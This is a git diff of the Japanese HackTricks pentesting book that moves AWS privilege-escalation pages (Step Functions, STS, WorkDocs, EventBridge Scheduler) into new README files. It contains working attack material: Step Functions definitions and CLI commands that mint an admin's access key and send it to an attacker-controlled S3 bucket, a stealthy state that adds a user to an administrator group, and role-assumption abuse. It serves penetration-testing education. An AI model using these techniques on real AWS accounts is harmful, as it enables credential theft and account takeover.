-2. **許可的でないIAMロール**: 前のケースとは対照的に、ここでは攻撃者は**`iam:PassRole`** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。
-```bash
-aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
-[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
-```
-以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー **`unprivilegedUser`** を **`administrator`** IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。
-
-> [!WARNING]
-> ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するには **`iam:PassRole`** 権限も必要です（例えば、**`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーが添付されたものなど）。
-
-{{#tabs }}
-{{#tab name="Legit State Machine" }}
-```json
-{
-"Comment": "Hello world from Lambda state machine",
-"StartAt": "Start PassState",
-"States": {
-"Start PassState": {
-"Type": "Pass",
-"Next": "LambdaInvoke"
-},
-"LambdaInvoke": {
-"Type": "Task",
-"Resource": "arn:aws:states:::lambda:invoke",
-"Parameters": {
-"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-},
-"Next": "End PassState"
-},
-"End PassState": {
-"Type": "Pass",
-"End": true
-}
-}
-}
-```
-{{#endtab }}
-
-{{#tab name="Malicious Updated State Machine" }}
-```json
-{
-"Comment": "Hello world from Lambda state machine",
-"StartAt": "Start PassState",
-"States": {
-"Start PassState": {
-"Type": "Pass",
-"Next": "LambdaInvoke"
-},
-"LambdaInvoke": {
-"Type": "Task",
-"Resource": "arn:aws:states:::lambda:invoke",
-"Parameters": {
-"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-},
-"Next": "AddUserToGroup"
-},
-"AddUserToGroup": {
-"Type": "Task",
-"Parameters": {
-"GroupName": "administrator",
-"UserName": "unprivilegedUser"
-},
-"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
-"Next": "End PassState"
-},
-"End PassState": {
-"Type": "Pass",
-"End": true
-}
-}
-}
-```
-{{#endtab }}
-{{#endtabs }}
-
-- **コマンド** 実行して **正当なステートマシン** を **更新**:
-```bash
-aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
-{
-"updateDate": "2024-07-10T20:07:10.294000+02:00",
-"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
-}
-```
-**潜在的な影響**: ワークフローの不正な実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
new file mode 100644
index 000000000..e6d0234a2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
@@ -0,0 +1,231 @@
+# AWS - Step Functions Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+この AWS サービスの詳細については、次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### タスクリソース
+
+These privilege escalation techniques are going to require to use some AWS Step Functions リソース in order to perform the desired privilege escalation actions.
+
+利用可能なアクションをすべて確認するには、自分の AWS アカウントで該当するアクションを選択し、使用されているパラメータを確認できます。例：
+
+<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
+
+または、AWS の API ドキュメントで各アクションのドキュメントを確認できます：
+
+- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
+- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
+
+### `states:TestState` & `iam:PassRole`
+
+**`states:TestState`** と **`iam:PassRole`** の権限を持つ攻撃者は、既存の state machine を作成・更新することなく任意の state をテストし、任意の IAM ロールを渡すことができます。これにより、そのロールの権限によって他の AWS サービスへ不正にアクセスされる可能性があります。これらの権限が組み合わさると、ワークフローの操作やデータ改ざん、データ漏洩、リソース操作、そして privilege escalation に至るような広範な不正行為を引き起こす可能性があります。
+```bash
+aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
+```
+以下の例は、これらの権限とAWS環境の寛容なロールを利用して**`admin`**ユーザーのアクセスキーを作成するstateをテストする方法を示します。 この寛容なロールには、stateが**`iam:CreateAccessKey`**アクションを実行できるようにする任意の高権限ポリシー（例 **`arn:aws:iam::aws:policy/AdministratorAccess`**）が関連付けられている必要があります:
+
+- **stateDefinition.json**:
+```json
+{
+"Type": "Task",
+"Parameters": {
+"UserName": "admin"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"End": true
+}
+```
+- **コマンド**: privesc を実行するためのコマンド:
+```bash
+aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
+
+{
+"output": "{
+\"AccessKey\":{
+\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
+\"CreateDate\":\"2024-07-09T16:59:11Z\",
+\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
+\"Status\":\"Active\",
+\"UserName\":\"admin\"
+}
+}",
+"status": "SUCCEEDED"
+}
+```
+**潜在的な影響**: ワークフローの不正な実行や操作、および機密リソースへのアクセスにつながり、重大なセキュリティ侵害を引き起こす可能性があります。
+
+### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
+
+An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an ステートマシン and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine.
+```bash
+# Create a state machine
+aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
+[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
+
+# Start a state machine execution
+aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
+
+# Start a Synchronous Express state machine execution
+aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
+```
+以下の例は、状態マシンを作成して **`admin`** ユーザーのアクセスキーを作成し、このアクセスキーを攻撃者が管理する S3 バケットへ流出させる方法を示します。これは、これらの権限と AWS 環境の許容的なロールを利用します。この許容的なロールには、状態マシンが **`iam:CreateAccessKey`** および **`s3:putObject`** アクションを実行できるように、任意の高権限ポリシー（例： **`arn:aws:iam::aws:policy/AdministratorAccess`**）がアタッチされている必要があります。
+
+- **stateMachineDefinition.json**:
+```json
+{
+"Comment": "Malicious state machine to create IAM access key and upload to S3",
+"StartAt": "CreateAccessKey",
+"States": {
+"CreateAccessKey": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
+"Parameters": {
+"UserName": "admin"
+},
+"ResultPath": "$.AccessKeyResult",
+"Next": "PrepareS3PutObject"
+},
+"PrepareS3PutObject": {
+"Type": "Pass",
+"Parameters": {
+"Body.$": "$.AccessKeyResult.AccessKey",
+"Bucket": "attacker-controlled-S3-bucket",
+"Key": "AccessKey.json"
+},
+"ResultPath": "$.S3PutObjectParams",
+"Next": "PutObject"
+},
+"PutObject": {
+"Type": "Task",
+"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
+"Parameters": {
+"Body.$": "$.S3PutObjectParams.Body",
+"Bucket.$": "$.S3PutObjectParams.Bucket",
+"Key.$": "$.S3PutObjectParams.Key"
+},
+"End": true
+}
+}
+}
+```
+- **コマンド** を実行して **ステートマシンを作成する**:
+```bash
+aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
+{
+"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
+"creationDate": "2024-07-09T20:29:35.381000+02:00"
+}
+```
+- **コマンド** を実行して、以前に作成したステートマシンの **実行を開始する**:
+```json
+aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
+{
+"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
+"startDate": "2024-07-09T20:33:35.466000+02:00"
+}
+```
+> [!WARNING]
+> 攻撃者が制御する S3 バケットは、被害者アカウントからの s3:PutObject アクションを受け入れる権限を持っている必要があります。
+
+**潜在的な影響**: ワークフローの不正な実行や操作、機密リソースへのアクセスを招き、重大なセキュリティ侵害につながる可能性があります。
+
+### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
+
+`states:UpdateStateMachine` の権限を持つ攻撃者は、ステートマシンの定義を変更して、権限昇格につながるステルスなステートを追加することができます。これにより、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意あるステルスステートが実行され、権限昇格が成功します。
+
+ステートマシンに紐づく IAM ロールの許可の度合いによって、攻撃者は次の2つの状況に直面します:
+
+1. **権限が緩い IAM ロール**: ステートマシンに紐づく IAM ロールが既に権限が緩い（例えば **`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーがアタッチされている）場合、ステートマシン定義の更新だけで十分なため、権限昇格に **`iam:PassRole`** の許可は必要ありません。
+2. **制限された IAM ロール**: 前の場合とは対照的に、この場合はステートマシン定義の変更に加えて許容的な IAM ロールをステートマシンに関連付ける必要があるため、攻撃者は **`iam:PassRole`** の許可も必要になります。
+```bash
+aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
+[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
+```
+以下の例は、HelloWorld Lambda function を呼び出すだけの正当なステートマシンを更新して、ユーザー **`unprivilegedUser`** を **`administrator`** IAM Group に追加する追加の state を挿入する方法を示します。こうすることで、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルス state が実行され、権限昇格が成功します。
+
+> [!WARNING]
+> ステートマシンに許容的な IAM Role が関連付けられていない場合、許容的な IAM Role を関連付けるために IAM Role を更新する際に **`iam:PassRole`** 権限も必要になります（例えば **`arn:aws:iam::aws:policy/AdministratorAccess`** ポリシーがアタッチされたもの）。
+
+{{#tabs }}
+{{#tab name="Legit State Machine" }}
+```json
+{
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
+}
+```
+{{#endtab }}
+
+{{#tab name="Malicious Updated State Machine" }}
+```json
+{
+"Comment": "Hello world from Lambda state machine",
+"StartAt": "Start PassState",
+"States": {
+"Start PassState": {
+"Type": "Pass",
+"Next": "LambdaInvoke"
+},
+"LambdaInvoke": {
+"Type": "Task",
+"Resource": "arn:aws:states:::lambda:invoke",
+"Parameters": {
+"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
+},
+"Next": "AddUserToGroup"
+},
+"AddUserToGroup": {
+"Type": "Task",
+"Parameters": {
+"GroupName": "administrator",
+"UserName": "unprivilegedUser"
+},
+"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
+"Next": "End PassState"
+},
+"End PassState": {
+"Type": "Pass",
+"End": true
+}
+}
+}
+```
+{{#endtab }}
+{{#endtabs }}
+
+- **コマンド** が **正規のステートマシン** を **更新** するために実行された:
+```bash
+aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
+{
+"updateDate": "2024-07-10T20:07:10.294000+02:00",
+"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
+}
+```
+**潜在的な影響**: ワークフローの不正な実行や改ざん、機密リソースへのアクセスを許し、重大なセキュリティ侵害を引き起こす可能性があります。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
deleted file mode 100644
index e0e66bba4..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ /dev/null
@@ -1,135 +0,0 @@
-# AWS - STS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## STS
-
-### `sts:AssumeRole`
-
-すべてのロールは **ロール信頼ポリシー（role trust policy）** とともに作成されます。このポリシーは、**どの主体が作成されたロールを引き受けることができるか** を示します。もし同一アカウント（**same account**）のロールがあるアカウントに対して引き受けを許可している場合、そのアカウントはそのロールにアクセスでき（そして場合によっては **privesc** する可能性があります）。
-
-例えば、次のロール信頼ポリシーは誰でもそのロールを引き受けられることを示しており、したがって **任意のユーザーがそのロールに関連付けられた権限へprivescできる** 。
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-次のコマンドを実行してロールをなりすますことができます:
-```bash
-aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
-```
-**潜在的な影響:** ロールへのPrivesc。
-
-> [!CAUTION]
-> この場合、権限 `sts:AssumeRole` は悪用対象のロールに**明示されている必要があり**、攻撃者に属するポリシーには必要ないことに注意してください。\
-> ただし例外が一つあり、**別アカウントのロールをassumeするためには**、攻撃者アカウントはそのロールに対して**`sts:AssumeRole`**を**も持っている必要があります**。
-
-### `sts:AssumeRoleWithSAML`
-
-このロールの信頼ポリシーは、**SAML で認証されたユーザーにロールを偽装するアクセスを付与します。**
-
-この権限を持つ信頼ポリシーの例は次のとおりです:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "OneLogin",
-"Effect": "Allow",
-"Principal": {
-"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
-},
-"Action": "sts:AssumeRoleWithSAML",
-"Condition": {
-"StringEquals": {
-"SAML:aud": "https://signin.aws.amazon.com/saml"
-}
-}
-}
-]
-}
-```
-一般的に role を成りすますための認証情報を生成するには、次のようなものを使用できます:
-```bash
-aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
-```
-ただし、**プロバイダー**はこの作業を容易にする**独自のツール**を持っていることがあります。例えば [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
-```bash
-onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
-```
-**Potential Impact:** ロールへのPrivesc.
-
-### `sts:AssumeRoleWithWebIdentity`
-
-この権限は、web identity provider を使って（mobile、web application、EKS... などで）認証されたユーザーが一連の一時的なセキュリティ認証情報を取得することを許可します。 [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
-
-For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like:
-```bash
-aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
-# The role name can be found in the metadata of the configuration of the pod
-```
-### Federation Abuse
-
-{{#ref}}
-../aws-basic-information/aws-federation-abuse.md
-{{#endref}}
-
-### IAM Roles Anywhere Privesc
-
-AWS IAM RolesAnywhere は、AWS 外のワークロードが X.509 証明書を使って IAM ロールを引き受けることを可能にします。しかし、trust policies が適切にスコープされていない場合、これが権限昇格のために悪用されることがあります。
-
-この攻撃を理解するには、trust anchor（トラストアンカー）が何かを説明する必要があります。AWS IAM RolesAnywhere における trust anchor は信頼の根幹となるエンティティで、アカウントに登録された Certificate Authority (CA) の公開証明書を含み、AWS が提示された X.509 証明書を検証できるようにします。つまり、クライアント証明書がその CA によって発行され、かつ trust anchor が有効であれば、AWS はそれを有効な証明書として認識します。
-
-また、profile は X.509 証明書のどの属性（CN、OU、SAN など）を session tags に変換するかを定義する設定で、これらのタグは後に trust policy の条件と照合されます。
-
-このポリシーには、どの trust anchor や証明書属性が許可されるかについての制限が欠けています。その結果、アカウント内の任意の trust anchor に紐づく任意の証明書がこのロールを引き受けるために使用できてしまいます。
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"Service": "rolesanywhere.amazonaws.com"
-},
-"Action": [
-"sts:AssumeRole",
-"sts:SetSourceIdentity",
-"sts:TagSession"
-]
-}
-]
-}
-
-```
-privescするには、`aws_signing_helper` を https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html から入手する必要があります。
-
-その後、有効な証明書を使用することで、攻撃者はより高い権限のロールにpivotできます。
-```bash
-aws_signing_helper credential-process \
---certificate readonly.pem \
---private-key readonly.key \
---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
---role-arn arn:aws:iam::123456789012:role/Admin
-```
-トラストアンカーはクライアントの`readonly.pem`証明書が許可されたCAから発行されたことを検証し、その`readonly.pem`証明書には署名が対応する秘密鍵`readonly.key`で行われたことをAWSが検証するために使用する公開鍵が含まれています。
-
-証明書はまた、CNやOUなどの属性を提供し、`default`プロファイルがこれらをタグに変換します。ロールのトラストポリシーはこれらのタグを使ってアクセス許可を判断できます。トラストポリシーに条件が設定されていない場合、これらのタグは意味を持たず、有効な証明書を持つ誰にでもアクセスが付与されます。
-
-この攻撃が可能になるためには、トラストアンカーと`default`プロファイルの両方が有効である必要があります。
-
-### References
-
-- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
new file mode 100644
index 000000000..a1469ac23
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - STS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## STS
+
+### `sts:AssumeRole`
+
+すべてのロールは **role trust policy** によって作成されます。このポリシーは **誰が作成されたロールを引き受けられるか** を示します。もし **同一アカウント** のロールがあるアカウントに引き受けを許可している場合、そのアカウントはそのロールにアクセスでき（場合によっては **privesc**）ということを意味します。
+
+例えば、次の role trust policy は誰でもそのロールを引き受けられることを示しており、したがって **任意のユーザーがそのロールに紐づく権限へ privesc できる** ことを意味します。
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+次のコマンドを実行してロールを引き受けることができます:
+```bash
+aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
+```
+**潜在的な影響:** Privesc to the role.
+
+> [!CAUTION]
+> この場合、許可 `sts:AssumeRole` は悪用対象のロールに**記載されている必要があり**、攻撃者のポリシーに含まれていてはいけないことに注意してください。\
+> 例外が1つありますが、別アカウントのロールを**引き受ける**には、攻撃者アカウント**もまた**そのロールに対して**`sts:AssumeRole`**を持っている必要があります。
+
+
+### `sts:AssumeRoleWithSAML`
+
+このロールの信頼ポリシーは、**SAMLで認証されたユーザーにロールを偽装するアクセスを付与します。**
+
+この許可を持つ信頼ポリシーの例は次のとおりです：
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OneLogin",
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
+},
+"Action": "sts:AssumeRoleWithSAML",
+"Condition": {
+"StringEquals": {
+"SAML:aud": "https://signin.aws.amazon.com/saml"
+}
+}
+}
+]
+}
+```
+ロールを偽装するための認証情報を生成するには、一般的に次のようなものを使用できます:
+```bash
+aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
+```
+ただし、**プロバイダ**はこれを簡単にするための**独自のツール**を提供していることがあり、例えば [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
+```bash
+onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
+```
+**Potential Impact:** ロールへのPrivesc。
+
+### `sts:AssumeRoleWithWebIdentity`
+
+この権限は、web identity provider を通じて、**mobile、web application、EKS...で認証されたユーザー** のために一時的なセキュリティ認証情報のセットを取得することを許可します。 [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+
+例えば、**EKS service account** が **IAM role をなりすます** ことができるようにする場合、**`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** にトークンを持ち、次のようにして **ロールを引き受けて資格情報を取得する** ことができます:
+```bash
+aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
+# The role name can be found in the metadata of the configuration of the pod
+```
+### Federation Abuse
+
+{{#ref}}
+../../aws-basic-information/aws-federation-abuse.md
+{{#endref}}
+
+### IAM Roles Anywhere Privesc
+
+AWS IAM RolesAnywhere は、AWS 外のワークロードが X.509 certificates を使って IAM ロールを引き受けることを可能にします。しかし、trust policies が適切にスコープされていないと、privilege escalation に悪用される可能性があります。
+
+この攻撃を理解するには、trust anchor が何であるかを説明する必要があります。AWS IAM Roles Anywhere における trust anchor は信頼のルートとなるエンティティで、アカウントに登録された Certificate Authority (CA) の公開証明書を含み、AWS が提示された X.509 certificates を検証できるようにします。こうして、クライアント証明書がその CA によって発行され、かつ trust anchor が有効であれば、AWS はそれを有効と認識します。
+
+さらに、profile は X.509 certificate のどの属性（CN、OU、SAN など）をセッションタグに変換するかを定義する設定で、これらのタグは後で trust policy の条件と比較されます。
+
+この trust policy には、どの trust anchor や証明書属性が許可されるかに関する制限が欠けています。その結果、アカウント内の任意の trust anchor に紐付いた任意の証明書が、このロールを assume するために使用できてしまいます。
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Service": "rolesanywhere.amazonaws.com"
+},
+"Action": [
+"sts:AssumeRole",
+"sts:SetSourceIdentity",
+"sts:TagSession"
+]
+}
+]
+}
+
+```
+privesc を行うには、`aws_signing_helper` を https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html から入手する必要があります。
+
+その後、有効な証明書を使用すると、攻撃者はより高い特権のロールにpivotできます。
+```bash
+aws_signing_helper credential-process \
+--certificate readonly.pem \
+--private-key readonly.key \
+--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
+--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
+--role-arn arn:aws:iam::123456789012:role/Admin
+```
+トラストアンカーはクライアントの `readonly.pem` 証明書が正規の CA から発行されたものであることを検証し、この `readonly.pem` 証明書内には署名が対応する秘密鍵 `readonly.key` で作成されたことを AWS が検証するための公開鍵が含まれています。
+
+証明書はまた、CN や OU のような属性を提供し、`default` プロファイルがそれらをタグに変換します。ロールのトラストポリシーはこれらのタグを用いてアクセスを許可するかどうかを判断できます。トラストポリシーに条件がない場合、それらのタグは意味を持たず、有効な証明書を持つ誰にでもアクセスが許可されます。
+
+この攻撃が可能であるためには、トラストアンカーと `default` プロファイルの両方が有効でなければなりません。
+
+### 参考
+
+- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
similarity index 53%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
index c75013556..9ebe9b8d9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
@@ -1,25 +1,25 @@
 # AWS - WorkDocs Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## WorkDocs
 
-WorkDocsに関する詳細情報は、以下を確認してください:
+WorkDocs の詳細については以下を参照してください:
 
 {{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
+../../aws-services/aws-directory-services-workdocs-enum.md
 {{#endref}}
 
 ### `workdocs:CreateUser`
 
-指定されたディレクトリ内にユーザーを作成すると、WorkDocsとADの両方にアクセスできるようになります:
+指定されたディレクトリ内にユーザーを作成すると、WorkDocs と AD の両方にアクセスできるようになります:
 ```bash
 # Create user (created inside the AD)
 aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
 ```
-### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)`
+### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
 
-ファイルには機密情報が含まれている可能性があるため、読み取ってください:
+ファイルには機密情報が含まれている可能性があるため、内容を読み取ってください:
 ```bash
 # Get what was created in the directory
 aws workdocs describe-activities --organization-id <directory-id>
@@ -32,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
 ```
 ### `workdocs:AddResourcePermissions`
 
-何かを読むアクセス権がない場合は、それを付与するだけです。
+読み取る権限がない場合は、その権限を付与すればよい。
 ```bash
 # Add permission so anyway can see the file
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -40,14 +40,13 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 ```
 ### `workdocs:AddUserToGroup`
 
-ユーザーを管理者にするには、グループ ZOCALO_ADMIN に設定します。\
-そのためには、[https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) の指示に従ってください。
+ユーザーを ZOCALO_ADMIN グループに設定することで管理者にできます.\\  
+そのためには次の手順に従ってください: [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
 
-そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` で管理パネルにアクセスします。
+そのユーザーで workdoc にログインし、管理パネルにアクセスします: `/workdocs/index.html#/admin`
 
-CLI からこれを行う方法は見つかりませんでした。
+cli からこれを行う方法は見つかりませんでした。
 
 
 
-
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
index 9fd9bebcc..746cacbcb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
@@ -1,20 +1,20 @@
 # AWS - EventBridge Scheduler Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## EventBridge Scheduler
 
-EventBridge Schedulerの詳細情報は以下を参照してください:
+詳細は EventBridge Scheduler にて:
 
 {{#ref}}
-../aws-services/eventbridgescheduler-enum.md
+../../aws-services/eventbridgescheduler-enum.md
 {{#endref}}
 
 ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
 
-これらの権限を持つ攻撃者は、**スケジューラーを`create`|`update`し、それに付随するスケジューラー役割の権限を悪用して任意のアクションを実行することができます。**
+その権限を持つ攻撃者は、**`create`|`update` により scheduler を作成/更新し、そこに紐づく scheduler role の権限を悪用して任意の操作を実行できます**
 
-例えば、彼らはスケジュールを設定して**Lambda関数を呼び出す**ことができ、これはテンプレート化されたアクションです:
